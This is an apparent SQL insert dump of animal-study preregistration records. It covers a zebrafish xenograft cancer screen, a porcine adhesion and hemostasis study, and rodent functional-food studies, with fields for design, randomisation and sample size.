	(9360,253,'placebo_controlled','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9361,253,'link_to_data','\"N\\/A\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9362,253,'has_embargo','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9363,254,'title','\"Targeting the Mesenchymal Cancer Cell Phenotype for Therapeutic Gain using Zebrafish Xenografts\"','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9364,254,'short_title','\"MesCanCellTargetZF\"','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9365,254,'contact_name','\"Peter ten Dijke\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9366,254,'contact_role','\"Executive researcher\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9367,254,'contact_email','\"p.ten_dijke@lumc.nl\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9368,254,'study_centre','[{\"name\":\"Leiden University Medical Center\",\"city\":\"Leiden\",\"country\":\"NL\"}]','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9369,254,'financial_support','[\"grants\"]','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9370,254,'start_date','\"2021-12-01\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9371,254,'end_date','\"2026-09-01\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9372,254,'study_status','\"not_started\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9373,254,'research_field','\"Oncology\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9374,254,'hypothesis','\"Our hypothesis is that by selectively interfering with invasive behavior of mesenchymal cancer cells using compounds, we will simultaneously halt metastasis as well as regain sensitivity to chemo- (and targeted) therapy. The cytokine Transforming Growth Factor-beta (TGF-beta) is a main driver of epithelial to mesenchymal transition of cancer cells. While TGF-beta inhibitors have been developed, they suffer from on-target side effects. In this project we will use a fundamental different approach to target the TGF-beta pathway in cancer cells by screening a large repurposing drug library using in vitro cell based assays for compounds that interfere with its pro-oncogenic effects. These compounds will subsequently be tested in xenograft animal models, first in zebrafish  and thereafter in mouse xenograft invasion\\/metastasis models. (This application is focused on zebrafish  xenograft experiments; a parallel application has been prepared on mouse xenograft experiments).  We will test ability of compounds ability to specifically target the (TGF-beta-induced) invasion and metastasis of mesenchymal  breast and lung cancer cell extravasation (while not affecting normal tissue homeostasis). \\n\\n\\n\\n\"','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9375,254,'intervention_type','\"compound\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9376,254,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9377,254,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9378,254,'species','\"mouse\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9379,254,'other_species','\" zebrafish embryos will be used to interrogate invasion of breast and lung cancer cells.\"','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9380,254,'sex','\"both\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9381,254,'sample_size_calculation','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9382,254,'randomisation','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9383,254,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9384,254,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9385,254,'placebo_controlled','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9386,254,'has_embargo','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9387,254,'primary_readout_parameter','\"The work plan is as follows: previous in vitro high through put cell based assays have been\\/will be performed using a drug repurposing compound library to identify compounds with potential to target the aggressive mesenchymal behavior of lung and breast cancer cells. About 15 selected compounds with highest potency on cancer cells, and lowest toxicity on normal cells, will first be tested in zebrafish xenograft based assays and thereafter 3-5 compounds will be tested in in vivo mouse xenograft models (see apparel application).\\n\\nIn the zebrafish xenograft model (red) fluorescently labeled breast or lung cancer labeled cells will be injected in Duct of Cuvier (in which blood vessels are green fluorescently labelled) and be assayed for extravasation into the avascular tail fin area. Compounds (or vehicle solvent control) will be added to the egg water of the zebrafish, and tested for ability to inhibit extravasation. The zebrafish model will used for selection of most 15 promising compounds to be tested in subsequent mouse xenograft studies.\\n\\nThe effect of compounds on normal cells, including heart function will also be assessed by microscopic analysis; compounds that have severe toxicity will be discarded for further analysis.\\n\\nWe aim to inhibit the invasive behavior with novel inhibitory compounds at least 2-fold. The 2-fold is based upon our previous studies in which we tested TGF-beta receptor kinase inhibitors (see Drabsch Y, He S, Zhang L, Snaar-Jagalska BE, ten Dijke P (2013) Transforming growth factor-beta signalling controls human breast cancer metastasis in a zebrafish xenograft model. Breast cancer research:BCR 15 (6):R106); we aim that the newly identified compounds are as efficient as TGF-beta type I receptor kinase inhibitors, while not having the on-target toxicity on normal cells. \\n\\nIn our studies we will compare the effects of newly identified compounds to the inhibitory effects on extravasation in zebrafish xenogaft assays (and also heart toxicity effects) that are exerted by TGF-b receptor kinase inhibitors. \\n\\n\\n\"','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9388,254,'secondary_readout_parameter','\"For subsequent studies we will examine the effect of selected compounds in mouse breast and\\/or lung cancer xenograft models.\\n\\n\\n\"','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9389,254,'strain','\"Transgenic Casper zebrafish line Tg (fli:EGFP) will be used of embryonic stage: 2 days-post fertilization (dpf) (at start of the experiment with exposure of compounds). These zebrafish lack pigment and blood vessels are green fluorescently labeled. This allows for assessment of extravasation of fluorescently labeled cancer cells into tail fin area. \\n\\n\"','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9390,254,'experimental_design','\"Zebrafish xenograft model: \\nApproximately 400 fluorescently labelled cells (manually counted) will be injected at approximately 60 \\u03bcm above the ventral end of the duct of Cuvier (DoC) (of zebrafish embryos 2 dpi), where the DoC opens into the heart. Compounds will be added to the egg water of the zebrafish. The optimal concentration that will be used will depend on pilot study in which the effect of dose range of compound on zebrafish embryo development will be analyzed; compounds are used at highest dose that does not affect normal zebrafish development. After 5 days the extravasation of cancer cells will be assessed microscopically. \\n\\nThe fish will be anesthetized during cancer cell engraftment and imaging. The individual fish are observed daily and fish with overt signs of discomfort will be euthanized. Max 5% of the larvae will die or show overt signs of discomfort 6 \\u2013 8 days post fertilization (dpf) (this corresponds to the &quot;normal&quot; natural death of zebrafish).  Another max 5% will die or show overt signs of discomfort after tumor engraftment. All dead animals and animals showing signs of discomfort (physiological malformation or lack of response to lateral line stimulation) will be removed from the experiment. We will minimize the effect of aggressive cancel cells by, and titration of the number of cancer cells for engraftments using &lt;5 days larvae for the first screening. The larvae and fish will be checked daily for signs of general discomfort. Animals showing major signs of discomfort (physiological malformation or for larvae &gt;8 days old, lack of response to lateral line stimulation) will be removed from the experiment. \\n\\nAll staff involved are experienced and skilled to perform zebrafish embryo handlings, including  the injection and imaging of zebrafish. \\n\"','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9391,254,'study_arms','[{\"type\":\"control\",\"number\":\"50x15x3=2250 \",\"intervention\":\"Vehicle controls for testing of 15 different compounds, three triplcates\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 1\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 2\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 3\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 4\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 5\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 6\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 7\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 8\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 9\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 10\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 11\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 12\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 13\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 14\"},{\"type\":\"intervention\",\"number\":\"50x3=150\",\"intervention\":\"Testing inhibitory effect on cancer cell extravasation of compound 1\"},{\"type\":\"intervention\",\"number\":\"15x50x3=2250\",\"intervention\":\"Three test doses of 15 distinct compounds for pilot toxicity experiments\\/dose finding.\"},{\"type\":\"control\",\"number\":\"15x50=770 3=\",\"intervention\":\"Vehicle control for toxity testing of compounds\"}]','2022-03-31 13:24:01','2022-03-31 13:24:03'),
	(9392,254,'link_to_data','\"Our previous publications in which zebrafish (and\\/or mouse) xenograft models were used:\\n\\nRen J, Liu S, Cui C, Ten Dijke P (2017) Invasive Behavior of Human Breast Cancer Cells in Embryonic Zebrafish. Journal of visualized experiments : JoVE (122). doi:10.3791\\/55459\\n\\nDrabsch Y, He S, Zhang L, Snaar-Jagalska BE, ten Dijke P (2013) Transforming growth factor-beta signalling controls human breast cancer metastasis in a zebrafish xenograft model. Breast cancer research : BCR 15 (6):R106. doi:10.1186\\/bcr3573\\n\\nZhou F, Drabsch Y, Dekker TJ, de Vinuesa AG, Li Y, Hawinkels LJ, Sheppard KA, Goumans MJ, Luwor RB, de Vries CJ, Mesker WE, Tollenaar RA, Devilee P, Lu CX, Zhu H, Zhang L, Dijke PT (2014) Nuclear receptor NR4A1 promotes breast cancer invasion and metastasis by activating TGF-beta signalling. Nature communications 5:3388. doi:10.1038\\/ncomms4388\\n\\nZhang L, Zhou F, Garcia de Vinuesa A, de Kruijf EM, Mesker WE, Hui L, Drabsch Y, Li Y, Bauer A, Rousseau A, Sheppard KA, Mickanin C, Kuppen PJ, Lu CX, Ten Dijke P (2013) TRAF4 promotes TGF-beta receptor signaling and drives breast cancer metastasis. Mol Cell 51 (5):559-572. doi:10.1016\\/j.molcel.2013.07.014\\n\\nRen J, Wang Y, Ware T, Iaria J, Ten Dijke P, Zhu HJ (2020) Reactivation of BMP signaling by suboptimal concentrations of MEK inhibitor and FK506 reduces organ-specific breast cancer metastasis. Cancer Lett 493:41-54. doi:10.1016\\/j.canlet.2020.07.042\\n\\nNeckmann U, Wolowczyk C, Hall M, Almaas E, Ren J, Zhao S, Johannessen B, Skotheim RI, Bjorkoy G, Ten Dijke P, Holien T (2019) GREM1 is associated with metastasis and predicts poor prognosis in ER-negative breast cancer patients. Cell Commun Signal 17 (1):140. doi:10.1186\\/s12964-019-0467-7\\n\\nLiu S, Gonzalez-Prieto R, Zhang M, Geurink PP, Kooij R, Iyengar PV, van Dinther M, Bos E, Zhang X, Le Devedec SE, van de Water B, Koning RI, Zhu HJ, Mesker WE, Vertegaal ACO, Ovaa H, Zhang L, Martens JWM, Ten Dijke P (2020) Deubiquitinase Activity Profiling Identifies UCHL1 as a Candidate Oncoprotein That Promotes TGFbeta-Induced Breast Cancer Metastasis. Clinical cancer research : an official journal of the American Association for Cancer Research 26 (6):1460-1473. doi:10.1158\\/1078-0432.CCR-19-1373\\n\\n Li Y, Jin K, van Pelt GW, van Dam H, Yu X, Mesker WE, Ten Dijke P, Zhou F, Zhang L (2016) c-Myb Enhances Breast Cancer Invasion and Metastasis through the Wnt\\/beta-Catenin\\/Axin2 Pathway. Cancer Res 76 (11):3364-3375. doi:10.1158\\/0008-5472.CAN-15-2302\\n\\nLi Y, Drabsch Y, Pujuguet P, Ren J, van Laar T, Zhang L, van Dam H, Clement-Lacroix P, Ten Dijke P (2015) Genetic depletion and pharmacological targeting of alphav integrin in breast cancer cells impairs metastasis in zebrafish and mouse xenograft models. Breast cancer research : BCR 17:28. doi:10.1186\\/s13058-015-0537-8\"','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9393,254,'why_no_randomisation','\"For zebrafish xenograft experiments:\\nThe Tg (fli:EGFP) zebrafish embryos will be collected, and embryos with the same development stage (around 2.5 hpf) will be selected. The eggs will be randomly separated into different groups. One group will be exposed to compound and another group to vehicle control that will be added to the egg water. \\n\\n\"','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9394,254,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9395,254,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9396,254,'yes_blinded_intervention_partially_details','\"One group will be exposed to compound and another group to vehicle control. The animal facility will be asked to deliver the compounds. \"','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9397,254,'yes_blinded_assessment_partially_details','\"Zebrafish embryos that have been injected with compound or vehicle control will not be known by the investigator. Analysis of the extravasated cells in zebrafish tail fin area  will be done blinded. \\n\\n\"','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9398,254,'original_animal_ethics_committee_application','\"https:\\/\\/www.centralecommissiedierproeven.nl\\/onderwerpen\\/dierexperimentencommissie-dec\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9399,254,'application_number','\"For zebrafish xenograft cancer studies:  licence UDEC 14227 and AVD1060020172410 \"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9400,254,'sample_size_calculation_details','\"For zebrafish experiments:\\n- Each experiment will be performed in triplicate.\\n- 15 compounds will be tested with two cell lines. \\n- Two groups: vehicle and control\\n- 50 larvae per groups (after which incorrectly injected embryos will be removed).\\n\\nBased on the power analysis of previous results, we have calculated that 50 larvae per group are required (including the loss of larvae) and minimal 3 biological cohorts for the robust generation of statistically significant groups for statistically significant inhibition of cancer cell burden upon treatment and publishing results. Zebrafish are not yet inbred such as murine models. In general (based on cancer type) 5 \\u2013 10% of the larvae die due to mechanical damage during the engraftment , subsequently 5 \\u2013 10% of the larvae will die during the experiment. \\n\\nTotal (minimal) zebrafish: 15 x 50 x 2 x 3 = 4500.  \\nInitial pilot experiments will be performed to optimize the concentration of (combinatorial) therapy. Three different doses for each compound and vehicle control.  15 x 50 x 4 = 3000 zebrafish\\n\\nSo total number of zebrafish: 4500 + 3000 = 7500\"','2022-03-31 13:24:01','2022-03-31 13:24:03'),
	(9401,254,'sum_of_animals','\"Minimal total number of Zebrafish: 7500 (see calculation above).\\n\"','2022-03-31 13:24:01','2022-03-31 13:24:03'),
	(9402,255,'title','\"Autologous adhesion prophylaxis and hemostasis in a pig model\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9403,255,'contact_name','\"Morten Eskildsen\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9404,255,'contact_role','\"PhD-student\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9405,255,'contact_email','\"morten.peter.rosenberg.eskildsen@regionh.dk\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9406,255,'study_centre','[{\"name\":\"University of Copenhagen\",\"city\":\"Copenhagen\",\"country\":\"DK\"}]','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9407,255,'financial_support','[\"industry\",\"grants\"]','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9408,255,'other_financial_support','\"This study is funded by an unconditional grant by Reapplix A\\/S. The funding party do not have any influence on the study design, in the collection, analysis, and interpretation of the data, or in the decision to submit the article for publication.\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9409,255,'start_date','\"2021-09-12\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9410,255,'end_date','\"2022-03-31\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9411,255,'study_status','\"active\"','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9412,255,'research_field','\"Surgical complications\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9413,255,'hypothesis','\"Two seperate experiments:\\nAdhesions: We hypothesize that the blood-derived patch is able to prevent or diminish the number of adhesions in a model of abdominal surgery in pigs.\\nHemostasis: We hypothesize that the blood-derived patch is able to treat or diminish bleeding in a model of surgical bleeding in a pig liver.\\n\\nThe blood-derived product: From autologous blood (18 mL) we produce a three layered compressed patch, consisting of fibrin, platelets and leucocytes. The patch is processed at high G-force in a automated and patented centrifuge, which coagulates and compresses the blood into the aforementioned patch. \"','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9414,255,'intervention_type','\"compound\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9415,255,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9416,255,'primary_readout_parameter','\"Adhesions: Feasibility: Number and nature of adhesions after surgery. The macroscopic adhesions will be measured according to an objective chart taking into account the nature of the adhesions, how easy\\/hard the adhesions are to separate from the tissue and the distribution of the adhesions and\\/or involvement of other organs. Furthermore the adhesions and the damaged uterine horn are examined by a pathologist also according to an obejctive chart describing fibrosis, inflammation and microscopic adhesions.\\nHemostasis: Effective hemostasis is defined as: cessation of free flow bleeding within 10 minutes following treatment and maintenance of hemostasis without occlusive pressure over a subsequent 1-minute evaluation period. Pinpoint or petechial bleeding that appears but do not grow is not considered to be free flow bleeding. Time-to-hemostasis (TTH) is defined as the time at which the last tamponade was discontinued for those sites scored as effectively hemostatic. If the TTH was above 10 minutes it is recorded as a failure (From: 1. Macdonald MH, Wang AY, Clymer JW, Hutchinson RW, Kocharian R. An in vivo comparison of the efficacy of hemostatic powders, using two porcine bleeding models. Med Devices Evid Res. 2017;10:273-279. doi:10.2147\\/MDER.S140663)\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9417,255,'exclusive_animal_use','\"no\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9418,255,'no_exclusive_animal_use_details','\"Two separate experiments in one pig (but licensed as one). The pigs are enrolled in a survival experiment (adhesion prophylaxis) followed by a terminal experiment (hemostasis).\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9419,255,'species','\"pig\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9420,255,'strain','\"Sus scrofa domesticus (ordinary landswine)\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9421,255,'sex','\"female\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9422,255,'experimental_design','\"Adhesion: Porcine uterine horn adhesion model.\\nHemostasis: Porcine liver punch biopsy model.\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9423,255,'sample_size_calculation','\"no\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9424,255,'sample_size_calculation_details','\"We did not perform sample size calculations. The experiments are very early and primarily proof of concept. If the experiments indicates that the hypothesis is correct and further experiments are needed, then an appropriate sample size calculation will be performed. \"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9425,255,'sum_of_animals','\"Adhesion study: 10 pigs\\/heads. But the N will be 20. Each pig has two uterine horn, that in this model is considered as separate compartments. Therefore there will be 2 N\\/1 head.\\n\\nHemostasis study: 10 pigs\\/heads. The N will be 10. In each pig we will perform 12 bleedings and treat with three different groups (4 bleedings in each group); control, patch and a comparable hemostatic product. This is a nested design.\\n\\nIn section 22 I specify the two groups in the adhesion study - Patch and Control.\"','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9426,255,'study_arms','[{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Patch\"},{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Control\"}]','2022-03-31 13:24:01','2022-03-31 13:24:02'),
	(9427,255,'randomisation','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9428,255,'randomisation_method_used','\"shuffled_blinded_envelopes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9429,255,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9430,255,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9431,255,'yes_blinded_intervention_how_details','\"The damage of both the uterine horns and the abdominal wall will be performed before knowing the allocation of the horns.\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9432,255,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9433,255,'yes_blinded_assessment_partially_details','\"The investigators assessing the adhesions are not the same as the investigators performing the first surgery.\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9434,255,'placebo_controlled','\"no\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9435,255,'original_animal_ethics_committee_application','\"https:\\/\\/dyreforsoegstilsynet.fvst.dk\\/PublishedApprovals\\/Pages\\/default.aspx#\\/detail\\/a90205c9-df88-4d9a-9e45-173f59a1c4cc\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9436,255,'application_number','\"2020-15-0201-00663\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9437,255,'has_embargo','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9438,252,'application_number','\"License no.: 2021-15-0201-00796\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9439,252,'why_no_randomisation','\"Block randomisation in blocks of 4 with 2 from each study group in each block.\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9440,252,'link_to_data','\"Ikeda et al: https:\\/\\/pubmed.ncbi.nlm.nih.gov\\/27185216\\/\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9441,252,'original_animal_ethics_committee_application','\"The Danish Animal Experiments Inspectorate\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9442,256,'title','\"Nata De Caulerpa Improves Hemoglobin, Protein and Insulin-like Growth Factor I Serum Level in Malnourished Rats (Rattus norvegicus)\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9443,256,'contact_name','\"Fahrul Nurkolis\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9444,256,'contact_role','\"executive researcher\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9445,256,'contact_email','\"20106040012@student.uin-suka.ac.id\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9446,256,'study_centre','[{\"name\":\"Pharmacology Laboratory, Faculty of Mathematics and Natural Sciences, Sam Ratulangi University\",\"city\":\"Manado\",\"country\":\"ID\"}]','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9447,256,'financial_support','[\"investigator_driven\"]','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9448,256,'start_date','\"2021-07-01\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9449,256,'end_date','\"2021-09-01\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9450,256,'study_status','\"completed_but_not_published\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9451,256,'research_field','\"Nutrition, Funtional Food, Pediatric, Biomolecular\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9452,256,'hypothesis','\"Can Nata De Caulerpa which has antioxidants, minerals and other nutrients improve nutritional status? Therefore, in vivo or preclinical studies are needed before clinical trials in humans.\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9453,256,'intervention_type','\"other\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9454,256,'other_intervention_type','\"Functional Food\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9455,256,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9456,256,'primary_readout_parameter','\"After 4 weeks of treatment, the rats were sacrificed for blood samples to be taken for examination of protein, hemoglobin, and Insulin-like Growth Factor I (IGF-1) levels.\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9457,256,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9458,256,'no_exclusive_animal_use_details','\"Blood sample from liver tissue.\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9459,256,'species','\"rat\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9460,256,'strain','\"Rattus novergicus (Wistar)\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9461,256,'sex','\"male\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9462,256,'experimental_design','\"Thirty white rats (Rattus norvegicus) aged 3-4 weeks, body weight of 40.5 \\u00b1 5.4 grams used in this study were used as malnourished, namely receiving a Low-Protein (LP) diet (4%) w\\/w protein), refers to de Oliveira et al (2011). After 4 weeks of treatment, the rats were divided into 3 groups. One group (group A) of rats were given a Normal-Protein (NP) diet or standard pellets (23% w\\/w protein) and allowed to feed and drink ad libitum during the experimental period or without a dose of Nata De Caulerpa. Meanwhile, group A and B mice still remained on a low-protein diet for 4 weeks, receiving a Low-Protein (LP) diet (4% w\\/w protein) containing the same number of calories as the normal diet, as previously described (de Oliveira et al. et al., 2011) and received doses of Nata De Caulerpa respectively 100 and 200 mg\\/kgBW orally gavage. This dose was selected and based on the levels of the lower limit (lower) and the upper limit (higher) for the safety of the rat stomach. After 4 weeks of treatment, the rats were sacrificed for blood samples to be taken for examination of protein, hemoglobin, and Insulin-like Growth Factor I (IGF-1) levels.\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9463,256,'sample_size_calculation','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9464,256,'sum_of_animals','\"Thirty white rats (30)\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9465,256,'study_arms','[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Malnoursihed with standard pellets\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Malnoursihed with Low-Protein (LP) diet and 100 mg\\/kgBW orally gavage\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Malnoursihed with Low-Protein (LP) diet and 200 mg\\/kgBW orally gavage\"}]','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9466,256,'randomisation','\"yes\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9467,256,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9468,256,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9469,256,'investigators_blinded_intervention','\"no\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9470,256,'investigators_blinded_assessment','\"no\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9471,256,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9472,256,'has_embargo','\"no\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9473,256,'sample_size_calculation_details','\"Determination of the minimum sample using the formula (Supranto, J. (2000). Teknik Sampling Untuk Survei &amp; Eksprimen.), with the equation = (t-1) (r-1) &gt; 15.\\nt= treatment\\nr= replication\\n\\nt in this study is 3, then =\\n(3-1) (r-1) &gt;15\\n4(r-1) &gt;15\\n4r-4&gt;15\\nr&gt;8.5\\n\\nSo the minimum sample for each group is &gt;8.5. So the researcher chose 10.\"','2022-03-31 13:24:01','2022-03-31 13:24:01'),
	(9474,257,'title','\"Cookies Made from Sea Grapes Antioxidant-Extract Improves Blood Glucose, Total Cholesterol and PGC-1\\u03b1 in Mice Fed on Cholesterol- and Fat-Enriched Diet\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9475,257,'study_centre','[{\"name\":\"Pharmacology Laboratory, Faculty of Mathematics and Natural Sciences, Sam Ratulangi University\",\"city\":\"Manado\",\"country\":\"ID\"}]','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9476,257,'contact_name','\"Fahrul Nurkolis\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9477,257,'contact_role','\"executive researcher\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9478,257,'contact_email','\"20106040012@student.uin-suka.ac.id\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9479,257,'financial_support','[\"investigator_driven\"]','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9480,257,'start_date','\"2021-05-01\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9481,257,'end_date','\"2021-07-31\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9482,257,'study_status','\"completed_but_not_published\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9483,257,'research_field','\"Nutrition, Functional Food, Obesity\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
